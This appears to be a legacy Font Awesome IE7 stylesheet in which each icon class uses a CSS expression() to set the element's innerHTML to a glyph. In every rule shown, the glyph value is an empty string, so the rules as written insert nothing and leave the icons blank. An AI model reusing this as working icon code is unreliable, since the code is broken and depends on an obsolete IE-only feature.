.icon-envelope-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-heart{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-star{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-star-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-user{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-film{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-th-large{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-th{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-th-list{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ok{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-remove{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-zoom-in{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-zoom-out{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-off{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-power-off{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-signal{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cog{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-trash{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-home{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-file-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-time{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-road{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-download-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-download{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-upload{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-inbox{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-play-circle{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-repeat{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rotate-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-refresh{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-list-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-lock{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-flag{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-headphones{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-volume-off{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-volume-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-volume-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-qrcode{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-barcode{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tag{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tags{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-book{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bookmark{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-print{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-camera{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-font{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bold{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-italic{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-text-height{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-text-width{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-align-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-align-center{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-align-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-align-justify{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-list{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-indent-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-indent-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-facetime-video{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-picture{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-pencil{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-map-marker{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-adjust{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tint{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-edit{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-share{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-check{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-move{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-step-backward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fast-backward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-backward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-play{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-pause{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-stop{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-forward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fast-forward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-step-forward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-eject{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-plus-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-minus-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-remove-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ok-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-question-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-info-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-screenshot{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-remove-circle{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ok-circle{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ban-circle{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-arrow-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-arrow-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-arrow-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-arrow-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-share-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-mail-forward{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-resize-full{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-resize-small{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-plus{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-minus{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-asterisk{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-exclamation-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-gift{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-leaf{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fire{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-eye-open{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-eye-close{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-warning-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-plane{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-calendar{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-random{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-comment{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-magnet{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-retweet{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-shopping-cart{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-folder-close{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-folder-open{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-resize-vertical{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-resize-horizontal{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bar-chart{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-twitter-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-facebook-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-camera-retro{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-key{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cogs{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-comments{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-thumbs-up-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-thumbs-down-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-star-half{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-heart-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-signout{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-linkedin-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-pushpin{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-external-link{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-signin{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-trophy{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-github-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-upload-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-lemon{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-phone{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-check-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-unchecked{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bookmark-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-phone-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-twitter{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-facebook{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-github{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-unlock{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-credit-card{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rss{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hdd{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bullhorn{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bell{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-certificate{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hand-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hand-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hand-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hand-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle-arrow-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle-arrow-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle-arrow-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle-arrow-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-globe{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-wrench{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tasks{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-filter{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-briefcase{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fullscreen{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-group{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-link{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cloud{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-beaker{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cut{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-copy{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-paper-clip{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-paperclip{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-save{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sign-blank{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-reorder{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-list-ul{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-list-ol{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-strikethrough{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-underline{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-table{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-magic{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-truck{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-pinterest{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-pinterest-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-google-plus-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-google-plus{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-money{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-caret-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-caret-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-caret-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-caret-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-columns{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sort-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-envelope{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-linkedin{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-undo{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rotate-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-legal{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-dashboard{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-comment-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-comments-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bolt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-sitemap{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-umbrella{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-paste{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-lightbulb{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-exchange{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cloud-download{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-cloud-upload{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-user-md{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-stethoscope{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-suitcase{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bell-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-coffee{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-food{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-file-text-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-building{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-hospital{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ambulance{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-medkit{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fighter-jet{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-beer{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-h-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-plus-sign-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-double-angle-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-double-angle-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-double-angle-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-double-angle-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-angle-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-angle-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-angle-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-angle-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-desktop{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-laptop{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-tablet{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-mobile-phone{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle-blank{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-quote-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-quote-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-spinner{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-circle{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-reply{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-mail-reply{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-github-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-folder-close-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-folder-open-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-expand-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-collapse-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-smile{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-frown{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-meh{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-gamepad{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-keyboard{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-flag-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-flag-checkered{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-terminal{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-code{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-reply-all{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-mail-reply-all{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-star-half-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-star-half-full{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-location-arrow{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-crop{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-code-fork{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-unlink{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-question{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-info{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-exclamation{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-superscript{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-subscript{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-eraser{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-puzzle-piece{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-microphone{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-microphone-off{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-shield{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-calendar-empty{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-fire-extinguisher{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rocket{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-maxcdn{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-sign-left{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-sign-right{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-sign-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-chevron-sign-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-html5{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-css3{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-anchor{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-unlock-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-bullseye{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ellipsis-horizontal{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ellipsis-vertical{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-rss-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-play-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-ticket{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-minus-sign-alt{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-check-minus{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-level-up{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-level-down{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-check-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-edit-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-external-link-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-share-sign{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-compass{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-collapse{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-collapse-top{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-expand{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-eur{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-euro{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
